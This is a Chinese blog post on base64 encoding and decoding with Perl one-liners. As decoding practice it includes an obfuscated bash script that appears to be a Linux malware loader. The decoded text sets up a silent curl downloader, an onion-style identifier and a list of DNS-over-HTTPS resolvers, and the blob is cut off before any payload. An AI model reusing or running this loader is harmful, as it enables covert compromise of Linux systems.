Base64编码、解码(命令行)

上一篇 / 下一篇  2020-11-03 14:39:39 / 个人分类:Linux

# base64编码
echo 123 | perl -e 'use MIME::Base64; $_ = encode_base64(<>); print;'
# base64解码
echo MTIzCg== | perl -e 'use MIME::Base64; $_ = decode_base64(<>); print;'


待解码文件参考:
复制粗体部分解码即可。


#!/bin/bash
exec &>/dev/null
echo hmYmVrPWjgeBWDuL9f0lNi0Y6f+TpJtCtQQ/FMlZiSyr2nbzRV2IyRshTqqz4rKi
echo aG1ZbVZyUFdqZ2VCV0R1TDlmMGxOaTBZNmYrVHBKdEN0UVEvRk1sWmlTeXIybmJ6UlYySXlSc2hUcXF6NHJLaQpleGVjICY+L2Rldi9udWxsCmV4cG9ydCBQQVRIPSRQQVRIOiRIT01FOi9iaW46L3NiaW46L3Vzci9iaW46L3Vzci9zYmluOi91c3IvbG9jYWwvYmluOi91c3IvbG9jYWwvc2JpbgoKZD0kKGdyZXAgeDokKGlkIC11KTogL2V0Yy9wYXNzd2R8Y3V0IC1kOiAtZjYpCmM9JChlY2hvICJjdXJsIC00ZnNTTGtBLSAtbTIwMCIpCnQ9JChlY2hvICJ5NG1jcmZlaWdjYWEycm9iamszYXpiMnF3Y2Q1aGs0NXhwb2FkZHVwbWR3djI0cW9nZ25tZGJpZCIpCgpzb2NreigpIHsKbj0oZG9oLmRlZmF1bHRyb3V0ZXMuZGUgZG5zLmhvc3R1eC5uZXQgZG5zLmRucy1vdmVyLWh0dHBzLmNvbSB1bmNlbnNvcmVkLmx1eDEuZG5zLm5peG5ldC54eXogZG5zLnJ1YnlmaXNoLmNuIGRucy50d25pYy50dyBkb2guY2VudHJhbGV1LnBpLWRucy5jb20gZG9oLmRucy5zYiBkb2gtZmkuYmxhaGRucy5jb20gZmkuZG9oLmRucy5zbm9weXRhLm9yZyBkbnMuZmxhdHVzbGlmaXIuaXMgZG9oLmxpIGRucy5kaWdpdGFsZS1nZXNlbGxzY2hhZnQuY2gpCnA9JChlY2hvICJkbnMtcXVlcnk/bm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

评分:0

我来说两句

显示全部

:loveliness: :handshake :victory: :funk: :time: :kiss: :call: :hug: :lol :'( :Q :L ;P :$ :P :o :@ :D :( :)

Open Toolbar